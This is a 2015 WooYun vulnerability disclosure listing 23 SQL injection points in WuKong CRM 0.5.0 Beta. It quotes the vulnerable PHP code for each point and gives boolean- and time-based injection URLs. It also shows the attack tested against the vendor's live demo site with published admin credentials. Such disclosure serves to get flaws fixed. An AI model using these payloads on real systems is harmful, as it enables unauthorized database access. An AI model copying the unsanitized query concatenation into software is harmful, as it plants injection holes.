当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0105058

漏洞标题:悟空CRM系统23处注入打包(需要登陆)

相关厂商:5kcrm.com

漏洞作者: Mr .LZH

提交时间:2015-04-15 15:16

修复时间:2015-07-17 10:40

公开时间:2015-07-17 10:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-15: 细节已通知厂商并且等待厂商处理中
2015-04-18: 厂商已经确认,细节仅向厂商公开
2015-04-21: 细节向第三方安全合作伙伴开放
2015-06-12: 细节向核心白帽子及相关领域专家公开
2015-06-22: 细节向普通白帽子公开
2015-07-02: 细节向实习白帽子公开
2015-07-17: 细节向公众公开

简要描述:

23处sql注入,rank值最多20,平均一个注入不到1rank,在这个时代,漏洞好便宜。

详细说明:

开源程序:悟空CRM
发布日期:2015/03/12 版本号:0.5.0 Beta
其他版本未测。
悟空CRM采用了thinkphp3.0框架,由于程序员没有遵循规范,造成sql注入。
系统存在一些过滤,需要花些时间绕过。

https://www.baidu.com/s?wd=%E6%82%9F%E7%A9%BACRM%20%C2%A9%20%E9%83%91%E5%B7%9E%E5%8D%A1%E5%8D%A1%E7%BD%97%E7%89%B9%E8%BD%AF%E4%BB%B6%E7%A7%91%E6%8A%80%E6%9C%89%E9%99%90%E5%85%AC%E5%8F%B8%202013&rsv_spt=1&issp=1&f=8&rsv_bp=0&rsv_idx=2&ie=utf-8&tn=baiduhome_pg&rsv_enter=1&rsv_sug3=1


文件路径都在App\Lib\Action下。
注入1:

KnowledgeAction 277行
index.php?m=Knowledge&a=categoryEdit&id=1 and version()>5
public function categoryEdit(){
if($_GET['id']){
$knowledge_category = M('knowledgeCategory');
$category_list = $knowledge_category -> select();
$this->assign('category_list', getSubCategory(0, $category_list, ''));
$this->knowledge_category =$knowledge_category->where('category_id = ' . $_GET['id'])->find();
$this->display();
}elseif($_POST['submit']){
$knowledge_category = M('knowledgeCategory');
$knowledge_category -> create();
if($knowledge_category -> save()){
alert('success',L('UPDATE_CATEGORY_INFO_SUCCESS'),U('knowledge/category'));
}else{
alert('error',L('DATA_UNCHANGE_UPDATE_CATEGORY_INFO_FAILY'),$_SERVER['HTTP_REFERER']);
}
}else{
$this->error(L('PARAMETER_ERROR'));
}
}


$this->knowledge_category =$knowledge_category->where('category_id = ' . $_GET['id'])->find();存在注入。
访问/index.php?m=Knowledge&a=categoryEdit&id=1 and version()>5

1.jpg


QQ截图20150331200609.jpg


注入2:

UserAction 817行
index.php?m=User&a=department_edit&id=1 and version()>5
elseif($_GET['id']){
$department = M('roleDepartment');
$this->assign('vo',$department->where('department_id=' . $_GET['id'])->find());
$department_list = $department->select();

foreach($department_list as $key=>$value){
if($value['department_id'] == $_GET['id']){
unset($department_list[$key]);
}
if($value['parent_id'] == $_GET['id']){
unset($department_list[$key]);
}
}
$this->assign('departmentList', getSubDepartment(0,$department_list,''));
$this->display();
}else{


$this->assign('vo',$department->where('department_id=' . $_GET['id'])->find());存在注入。

2.jpg


注入3:

SettingAction 545行
index.php?m=Setting&a=statusflowEdit&id=1 and version()>5
public function statusflowEdit(){
if ($this->isGet()) {
$flow = M('BusinessStatusFlow')->where("flow_id =" . $_GET['id'])->find();
$this->flow = $flow;
$this->data = unserialize($flow['data']);
$this->statusList = M('BusinessStatus')->select();
$this->display();
} elseif($this->isPost()) {


$flow = M('BusinessStatusFlow')->where("flow_id =" . $_GET['id'])->find();存在注入。
注入4:

ProductAction 14行
public function validate() {
if($this->isAjax()){
if(!$this->_request('clientid','trim') || !$this->_request($this->_request('clientid','trim'),'trim')) $this->ajaxReturn("","",3);
$field = M('Fields')->where('model = "product" and field = "'.$this->_request('clientid','trim').'"')->find();
$m_product = $field['is_main'] ? D('Product') : D('ProductData');
$where[$this->_request('clientid','trim')] = array('eq',$this->_request($this->_request('clientid','trim'),'trim'));
if($this->_request('id','intval',0)){
$where[$m_product->getpk()] = array('neq',$this->_request('id','intval',0));
}


$field = M('Fields')->where('model = "product" and field = "'.$this->_request('clientid','trim').'"')->find();存在注入。
这里需要满足2个条件:
1.$this->isAjax() 这里只要在http头的X-Requested-With赋值XMLHttpRequest可通过。
2.if(!$this->_request('clientid','trim') || !$this->_request($this->_request('clientid','trim'),'trim')) $this->ajaxReturn("","",3);
相当于$clientid和$$clientid存在则通过。
后面也存在类似案例,不再细致分析。
注入5:

ProductAction 616行
index.php?m=Product&a=listDialog&r=product&id=1&module=1 and sleep(5))%23aaaaa
}elseif ($_GET['r'] && $_GET['module'] && $_GET['id']) {
$id_array = M($_GET['r']) -> where($_GET['module'] . '_id = %d', $_GET['id']) -> getField('product_id', true);
$id_array[] = 0;
$this -> r = $_GET['r'];
$this -> module = $_GET['module'];
$this -> model_id = $_GET['id'];
$d_product = D('ProductView');
$a = $d_product->where('product_id not in (%s)', implode(',',$id_array))->select();
$this->list = $a;
$this->display();
}else{


$id_array = M($_GET['r']) -> where($_GET['module'] . '_id = %d', $_GET['id']) -> getField('product_id', true);存在注入。
注入6:

ProductAction 645行
index.php?m=Product&a=addDialog&r=product&id=1&module=1 and sleep(5))%23aaaaa
}elseif ($_GET['r'] && $_GET['module'] && $_GET['id']) {
$id_array = M($_GET['r']) -> where($_GET['module'] . '_id = %d', $_GET['id']) -> getField('product_id', true);
$id_array[] = 0;
$this -> r = $_GET['r'];
$this -> module = $_GET['module'];
$this -> model_id = $_GET['id'];
$d_product = D('ProductView');
$a = $d_product->where('product_id not in (%s)', implode(',',$id_array))->select();
$this->list = $a;
$this->display();
}else{


$id_array = M($_GET['r']) -> where($_GET['module'] . '_id = %d', $_GET['id']) -> getField('product_id', true);存在注入。
注入7:

ProductAction 813行
index.php?m=Product&a=category_edit&id=1 and version()>5
public function category_edit(){
if($_GET['id']){
$product_category = M('product_category');
$category_list = $product_category->select();
$this->assign('category_list', getSubCategory(0, $category_list, ''));
$product_category = M('product_category');
$categoryList = $product_category->select(); //读取分类列表 加载下拉框
foreach($categoryList as $key=>$value){
if($value['category_id'] == $_GET['id']){
unset($categoryList[$key]);
}
}

$this->category_list = $categoryList;
$this->temp =$product_category->where('category_id = ' . $_GET['id'])->find();

$this->display();


$this->temp =$product_category->where('category_id = ' . $_GET['id'])->find();存在注入。
注入8:

Permission 55行
public function module_delete(){
$module = M('ControlModule');
if($_POST['module_list']){
if($module->where('module_id in (%s)', join($_POST['module_list'],','))->delete()){
alert('success', L('MODULE_WAS_REMOVED_SUCCESSFULLY'),$_SERVER['HTTP_REFERER']);
}else{
alert('error', L('MODULE_WAS_REMOVED_FAILURE'),$_SERVER['HTTP_REFERER']);
}
}elseif($module->where('module_id =' . $_GET['id'])->delete()){
alert('success', L('MODULE_WAS_REMOVED_SUCCESSFULLY'),$_SERVER['HTTP_REFERER']);
}else{
alert('error', L('MODULE_WAS_REMOVED_FAILURE_PLEASE_CONTACT_YOUR_ADMINISTRATOR'),$_SERVER['HTTP_REFERER']);
}
}


if($module->where('module_id in (%s)', join($_POST['module_list'],','))->delete()){存在注入。
注入9,10:

Permission 65行
Permission 72行
public function module_edit(){
$module = M('ControlModule');
if($_GET['id']){
$this->vo = $module->where('module_id =' . $_GET['id'])->find();
$this->display();
}elseif($_POST['name']){
$module = D('ControlModule');
if($module->create()){
$data['name'] = $_POST['name'];
$data['description'] = $_POST['description'];
if($module->where('module_id =' . $_POST['module_id'])->save($data)){
alert('success', L('MODULE_MODIFICATION_OF_SUCCESS'),$_SERVER['HTTP_REFERER']);
}else{
alert('error', L('COUNTLESS_ACCORDING_TO_THE_CHANGE_FAILED_TO_MODIFY_MODULE'),$_SERVER['HTTP_REFERER']);
}
} else {
alert('error', L('MODIFY_THE_ERROR_PLEASE_CONTACT_YOUR_ADMINISTRATOR'),$_SERVER['HTTP_REFERER']);
}
}
}


$this->vo = $module->where('module_id =' . $_GET['id'])->find();
if($module->where('module_id =' . $_POST['module_id'])->save($data)){存在注入。
注入11:

Permission 151行
}elseif($control->create()){
$url =explode('/',$_POST['url']);
$m = $url[0];
$a = $url[1];
$data['m'] = $m;
$data['a'] = $a;
$data['name'] = $_POST['name'];
$data['description'] = $_POST['description'];
$data['parameter'] = $_POST['parameter'];
$data['module_id'] = $_POST['module_id'];
if($control->where('control_id =' . $_POST['control_id'])->save($data)){
alert('success', L('OPERATION_IS_CHANGED'),$_SERVER['HTTP_REFERER']);
}else{


if($control->where('control_id =' . $_POST['control_id'])->save($data)){存在注入。
注入12:

Permission 162行
$module = M('ControlModule');
$this->moduleList = $module->select();
if($_GET['id']){
$this->vo = $control->where('control_id = ' . $_GET['id'])->find();
$this->display();
}else{
alert('error', L('MODIFIED_FAILURE_PARAMETER_ERROR'),$_SERVER['HTTP_REFERER']);
}


$this->vo = $control->where('control_id = ' . $_GET['id'])->find();存在注入。
注入13:

Permission 179行
}elseif($_GET['id']){
if($control->where('control_id =' . $_GET['id'])->delete()){
alert('success', L('DELETED SUCCESSFULLY'),$_SERVER['HTTP_REFERER']);
} else {
alert('error', L('DELETE FAILED'),$_SERVER['HTTP_REFERER']);
}
}else{


if($control->where('control_id =' . $_GET['id'])->delete()){存在注入。
注入14:

Permission 196行
public function authorize(){
if($_GET['by'] == 'permission'){
if($_POST['control_id']){
$roleList = $_POST['roleList'];
$permission = M('UserPermission');
$data['control_id'] = $_POST['control_id'];

$temp = $permission->where('control_id =' . $_POST['control_id'])->select();
$idList = array();


$temp = $permission->where('control_id =' . $_POST['control_id'])->select();存在注入。
注入15:

Permission 230行
if($_GET['control_id']){
$where = isset($_GET['control_id'])?'control_id =' . $_GET['control_id']:'';
$role = M('UserRole');
$role_list = array();
$permission = M('UserPermission');
$department = M('UserDepartment');
$permissionList = $permission->where($where)->select();


$permissionList = $permission->where($where)->select();存在注入。
注入16:

Permission 257行
if($_POST['role_id']){
$controlList = $_POST['controlList'];
$permission = M('UserPermission');
$data['role_id'] = $_POST['role_id'];

$temp = $permission->where('role_id =' . $_POST['role_id'])->select();
$idList = array();


$temp = $permission->where('role_id =' . $_POST['role_id'])->select();存在注入。
注入17:

Permission 291行
if($_GET['role_id']){
$where = isset($_GET['role_id'])?'role_id =' . $_GET['role_id']:'';
$module = M('ControlModule');
$permission = M('UserPermission');
$control = M('Control');
$controlList = $module->select();
$existsList = $permission->where($where)->select();
foreach($controlList as $key=>$value){


$existsList = $permission->where($where)->select();存在注入。
注入18:

Leads 74行
public function validate() {
if($this->isAjax()){
if(!$this->_request('clientid','trim') || !$this->_request($this->_request('clientid','trim'),'trim')) $this->ajaxReturn("","",3);
$field = M('Fields')->where('model = "leads" and field = "'.$this->_request('clientid','trim').'"')->find();
$m_leads = $field['is_main'] ? D('Leads') : D('LeadsData');


$field = M('Fields')->where('model = "leads" and field = "'.$this->_request('clientid','trim').'"')->find();存在注入。
注入19:

Knowledge 277行
public function categoryEdit(){
if($_GET['id']){
$knowledge_category = M('knowledgeCategory');
$category_list = $knowledge_category -> select();
$this->assign('category_list', getSubCategory(0, $category_list, ''));
$this->knowledge_category =$knowledge_category->where('category_id = ' . $_GET['id'])->find();
$this->display();


$this->knowledge_category =$knowledge_category->where('category_id = ' . $_GET['id'])->find();存在注入。
注入20:

Customer 64行
public function validate() {
if($this->isAjax()){
if(!$this->_request('clientid','trim') || !$this->_request($this->_request('clientid','trim'),'trim')) $this->ajaxReturn("","",3);
$field = M('Fields')->where('model = "customer" and field = "'.$this->_request('clientid','trim').'"')->find();
$m_customer = $field['is_main'] ? D('Customer') : D('CustomerData');


$field = M('Fields')->where('model = "customer" and field = "'.$this->_request('clientid','trim').'"')->find();存在注入。
注入21:

Customer 756行
if($m_customer->create()){
if($m_customer_data->create()!==false){
$m_customer->update_time = time();
$a = $m_customer->where('customer_id=' . $customer['customer_id'])->save();
$b = $m_customer_data->where('customer_id=' . $customer['customer_id'])->save();
if($a !== false && $b !== false){
if($_POST['contacts_id'] && ($_POST['contacts_id']!= $customer['contacts_id'])){
$rcc['contacts_id'] = intval($_POST['contacts_id']);
$rcc['customer_id'] = $customer['customer_id'];
M('RContactsCustomer')->add($rcc);
}
actionLog($customer['customer_id']);
alert('success', L('EDIT_CLIENTS_SUCCESS'), U('customer/index'));

}else{


$a = $m_customer->where('customer_id=' . $customer['customer_id'])->save();
$b = $m_customer_data->where('customer_id=' . $customer['customer_id'])->save();存在注入。
注入22:

Contacts 68行
if($_GET['redirect']){
$this->redirect_id = $_GET['redirect_id'];
$this->redirect = $_GET['redirect'];
}
$customer = M('customer');
$this->customer_id =$customer_id = $_GET['customer_id'];
$this->customer_name =$customer->where('customer_id =%s',$customer_id)->getField('name');
$this->refer_url=$_SERVER['HTTP_REFERER'];
$this->customer = $customer->where('customer_id =' . $_GET['redirect_id'])->find();
$this->alert = parseAlert();
$this->display();


$this->customer = $customer->where('customer_id =' . $_GET['redirect_id'])->find();存在注入。
注入23:

Business 71行
public function validate() {
if($this->isAjax()){
if(!$this->_request('clientid','trim') || !$this->_request($this->_request('clientid','trim'),'trim')){
$this->ajaxReturn("","",3);
}
$field = M('Fields')->where('model = "Business" and field = "'.$this->_request('clientid','trim').'"')->find();
$m_business = $field['is_main'] ? D('Business') : D('BusinessData');


$field = M('Fields')->where('model = "Business" and field = "'.$this->_request('clientid','trim').'"')->find();存在注入。

漏洞证明:

1.jpg


2.jpg


3.jpg


5.jpg


6.jpg


7.jpg


补充:
CRM系统一般部署在内网,而且需要员工账号登陆,比较难在互联网上复现。
公布在互联网上,且被搜索引擎收录的有385条,按照各大源码下载站,最新版本从2015/03/12到2015/4/1单站下载量就达到上万,用户量还算不少。

11.jpg


22.jpg


由于找不到互联网上的案例,就直接拿官网提供的试用网站证明。
地址:http://crm.demo.5kcrm.com
账号:admin 密码:123456a
使用注入点1证明。登陆后访问:http://crm.demo.5kcrm.com/index.php?m=Knowledge&a=categoryEdit&id=1 and 1=if(CAST(DATABASE() AS CHAR) like 'crm_pre',1,2)
(官网存在waf,手工注入后确认数据库名为:crm_pre)

33.jpg


访问:http://crm.demo.5kcrm.com/index.php?m=Knowledge&a=categoryEdit&id=1 and 1=if(CAST(DATABASE() AS CHAR) like 'wooyun',1,2) 没有结果。

44.jpg

修复方案:

使用框架规范编写。

版权声明:转载请注明来源 Mr .LZH@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-04-18 10:38

厂商回复:

谢谢反馈 修复中 近些天会发布修复补丁包

最新状态:

暂无